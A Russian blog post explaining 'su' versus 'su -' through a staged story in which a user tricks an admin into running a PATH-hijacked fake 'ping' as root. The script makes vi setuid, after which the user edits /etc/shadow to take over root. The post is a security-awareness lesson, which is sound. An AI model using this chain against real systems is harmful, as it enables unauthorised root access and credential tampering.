Разница между командами "su" и "su -" [Занимательная и поучительная история]

Большенство пользуются и знают команду «su», но…
многие никогда и не знали про «su -»,
и некоторые набирают «su -» не зная почему, просто потому что им так посоветовал их знакомый гуру-линуксойд.

Предлагаю вашему вниманию наглядное(!!!) объяснение разницы.
Для начала теории
Согласно «man su»: Опции "-, -l, --login" означают "make the shell a login shell". Это означает, что при переходе с помощью «su -» запускается командная строка с настройками, как если бы логинились под указанного(либо по-умолчанию «root») пользователя «с нуля». В то время как просто «su» — запускает shell от указанного пользователя и при этом многие переменные окружения унаследываются от пользователя, который был до этого.


В подтверждение:

[polzavatel]  -------  Завёл переменную
export A=123
[polzavatel]  ------- Проверил
echo $A
123
[polzavatel]  ------- Перехожу без "-"
su
Пароль: **пароль**
[root] =========== Проверяю
echo $A
123 # Переменная передалась
[root] =========== Возвращаюсь обратно под "polzavatel"
exit
[polzavatel]  ------- Перехожу с "-"
su -
Пароль: **пароль**
[root] =========== Проверяю
echo $A
# Пусто. Переменная не передалась.


Теперь для тех «кто всё равно не понял», либо «ну понятно, и чё дальше?!» — пример после которого одна русско говорящая гражданка страны на юге Канады сказала: "Ну я сегодня своих сисадминов хакну, а то они мне аську не ставят". А на следующий день: "Я их хакнула :)"

— Пьеса «Гипотетическая история, которая может случится с каждым».
Действующие лица (можете выбрать чья роль Вам ближе):
root — системный администратор,
polzavatel — обычный пользователь, без каких либо лишних прав в системе.
Действия происходят на каком-нибудь популярном дистрибутиве (проверено на многих, с некоторыми модификациями, но основной подход тот же).


Сцена первая — «Подготовка».
Компьютер, за ним сидит polzavatel и думает как же поставить себе аськуигрушкукодеки...(нужное подчеркнуть). Зная, что root пользуется командой «su» без "-" — у него появляется следующий коварный план(выполняется в консоли от имени polzavatel):

% PATH="/home/polzavatel:$PATH"
% echo "#!/bin/bash
chmod u+s /bin/vi
/bin/ping $*" > /home/polzavatel/ping
% chmod +x /home/polzavatel/ping

Всё

Сцена вторая — «Социальная»
Компьютер, за ним сидит polzavatel, в ожидании мимо проходящего root. Тут появляется root, он мысленно чем-то занят, торопясь по своим делам.
polzavatel: "Уважаемый root, а у меня тут чего-то не работает — не могли бы вы помочь?.."
root: "Ну что ж...(с неохотой) давай-те посмотрим". Садится за компьютер и набирает в услужливо подставленной консоли:

% su
Пароль: **мегаСекретныйПароль** # Садясь за компьютер, с легкой параноидальностью прикрывая клавиатуру телом


root: "Ну что тут у вас не работает?"
polzavatel: "Знаете… почему то сеть не работает. 192.168.1.1 — не пингуется. А мне на него файлики закачать надо..."
root: "(Понятно)", набирая команду:

# ping 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=4.71 ms
...



polzavatel: "Ух-ты. Только ж не работало!.. Ну это прям «эффект присутствия» какой-то. Спасибо Вам дорогой root"
root облегченный, так быстро разрулившейся проблемой, уходит предусмотрительно отлогинившись.

Сцена третья — «Заключительная»
Компьютер, за ним сидит polzavatel — обстановка как в первой сцене. С довольной ухмылкой он выполняет в консоли от имени polzavatel следующие команды:

% /bin/vi /etc/shadow # Там он копируют хеш-пароля пользователя polzavatel на место хеш-пароля пользователя root. И сохранившись ":w!", выходит из редактора.
% su -
Пароль: **парольПользователя_polzavatel**
# whoami
root


!!!
ЗАНАВЕС

— — — — — — — Пометки:
1) Вместо команды ping можно было бы использовать любую другую или несколько сразу. Соответственно поменяв при этом содержание просьбы polzavatel во второй сцене.
2) Вместо «chmod u+s /bin/vi» — опять же можно использовать и другую команду, которую хотелось бы выполнить root'овыми правами.

Ну кто искренне, держа руку на сердце — готов сказать что он не попался бы?!
P.S. Проверено на более полсотни сисадминах (разной степени продвинутости) — 100% попалось(причем все после объяснения разницы между «su» и «su -», и в ожидании подвоха), из них правда некоторые сказали: «А пинговать, то ведь можно было и не под root'ом...» (но уже после того как попались).

:)Пример не только для того, чтобы бросались все бежать «хакать», а для того чтобы подумали, где бы Вас могли бы «хакнуть» и как этого избежать. Я знаю, а вы?
Источник

Похожие новости

Комментариев 0